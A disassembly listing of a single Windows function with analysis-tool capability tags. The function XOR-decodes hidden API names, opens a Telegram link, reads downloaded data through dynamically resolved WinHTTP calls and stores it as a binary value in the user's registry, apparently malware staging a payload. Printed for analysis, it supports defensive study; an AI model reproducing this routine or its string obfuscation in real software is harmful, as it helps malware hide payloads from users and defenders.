Function at 0x40b910
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Set registry value

Disassembly:
mov r11, rsp
sub rsp, 0x4a8
mov rax, qword [0x00412040]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov qword [r11 - 8], rsi
mov qword [r11 - 0x10], rdi
xor edi, edi
mov qword [r11 - 0x18], r12
mov r12, rdx
mov rsi, rcx
mov qword [r11 - 0x20], r13
lea r8, str.tg:__setlanguage_langclassic_zh_cn
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x30], edi
mov r13d, edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r9, qword [rsi + 0x18]
mov byte [rsp + 0x50], 0x2f
mov byte [rsp + 0x51], 0x22
mov byte [rsp + 0x52], 0x16
mov byte [rsp + 0x53], 0xe
mov byte [rsp + 0x54], 4
mov byte [rsp + 0x55], 0x15
mov byte [rsp + 0x56], 8
mov byte [rsp + 0x57], 0x19
mov byte [rsp + 0x58], 0x1d
mov byte [rsp + 0x59], 0x27
mov byte [rsp + 0x5a], 0x14
mov byte [rsp + 0x5b], 0x25
mov byte [rsp + 0x5c], 0x19
mov byte [rsp + 0x5d], 0x3f
mov byte [rsp + 0x5e], 0x19
mov byte [rsp + 0x5f], dil
mov word [rsp + 0x40], 0x78
mov word [rsp + 0x42], 0x4b
mov word [rsp + 0x44], 0x78
mov word [rsp + 0x46], 0x46
mov word [rsp + 0x48], 0x70
mov word [rsp + 0x4a], 0x61
mov word [rsp + 0x4c], di
mov rcx, rdi
lea rdx, [rsp + 0x50]
lea r8d, [rdi + 0xf]
cmp word [rsp + rcx*2 + 0x40], di
cmove rcx, rdi
add rdx, 1
movzx eax, byte [rsp + rcx*2 + 0x40]
add rcx, 1
xor byte [rdx - 1], al
sub r8, 1
jne 0x40ba00
test r9, r9
mov qword [rsp + 0x4c8], rbp
jne 0x40ba31
mov rbp, rdi
jmp 0x40ba42
lea rdx, [rsp + 0x50]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
mov rcx, qword [rsi + 0x10]
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x80]
mov r8d, 0x3e8
call rbp
test eax, eax
je 0x40baba
mov qword [rsp + 0x4c0], rbx
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x40bab2
mov rcx, r12
mov rbx, rax
call fcn.004010a0
mov ecx, r13d
lea rdx, [rsp + 0x80]
add rcx, rax
mov r8, rbx
call fcn.00402c50
mov rcx, qword [rsi + 0x10]
add r13d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x80]
mov r8d, 0x3e8
call rbp
test eax, eax
jne 0x40ba67
mov rbx, qword [rsp + 0x4c0]
mov r9, qword [rsi + 0x18]
mov rbp, qword [rsp + 0x4c8]
mov byte [rsp + 0x60], 0x1a
mov byte [rsp + 0x61], 0x24
mov byte [rsp + 0x62], 0x26
mov byte [rsp + 0x63], 0x2b
mov byte [rsp + 0x64], 5
mov byte [rsp + 0x65], 0x1c
mov byte [rsp + 0x66], 0x3d
mov byte [rsp + 0x67], 0xe
mov byte [rsp + 0x68], 0x24
mov byte [rsp + 0x69], 0xc
mov byte [rsp + 0x6a], 2
mov byte [rsp + 0x6b], 0xd
mov byte [rsp + 0x6c], 5
mov byte [rsp + 0x6d], 0x2c
mov byte [rsp + 0x6e], 0x26
mov byte [rsp + 0x6f], 7
mov byte [rsp + 0x70], 0x1d
mov byte [rsp + 0x71], 0xd
mov byte [rsp + 0x72], dil
mov word [rsp + 0x40], 0x4d
mov word [rsp + 0x42], 0x4d
mov word [rsp + 0x44], 0x48
mov word [rsp + 0x46], 0x63
mov word [rsp + 0x48], 0x71
mov word [rsp + 0x4a], 0x68
mov word [rsp + 0x4c], di
mov rcx, rdi
lea rdx, [rsp + 0x60]
mov r8d, 0x12
cmp word [rsp + rcx*2 + 0x40], di
cmove rcx, rdi
add rdx, 1
movzx eax, byte [rsp + rcx*2 + 0x40]
add rcx, 1
xor byte [rdx - 1], al
sub r8, 1
jne 0x40bb62
test r9, r9
je 0x40bb97
lea rdx, [rsp + 0x60]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rax, [rsp + 0x38]
lea rdx, str.SOFTWARE
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40bc06
cmp qword [r12 + 0x20], 0x10
jb 0x40bbd1
mov rax, qword [r12 + 8]
jmp 0x40bbd6
lea rax, [r12 + 8]
mov rcx, qword [rsp + 0x38]
lea rdx, str.lpData
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsi + 0x10]
call rdi
mov rcx, qword [rsi + 8]
call rdi
mov rcx, qword [rsi]
call rdi
mov r13, qword [rsp + 0x488]
mov r12, qword [rsp + 0x490]
mov rdi, qword [rsp + 0x498]
mov rsi, qword [rsp + 0x4a0]
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.00401c60
add rsp, 0x4a8
ret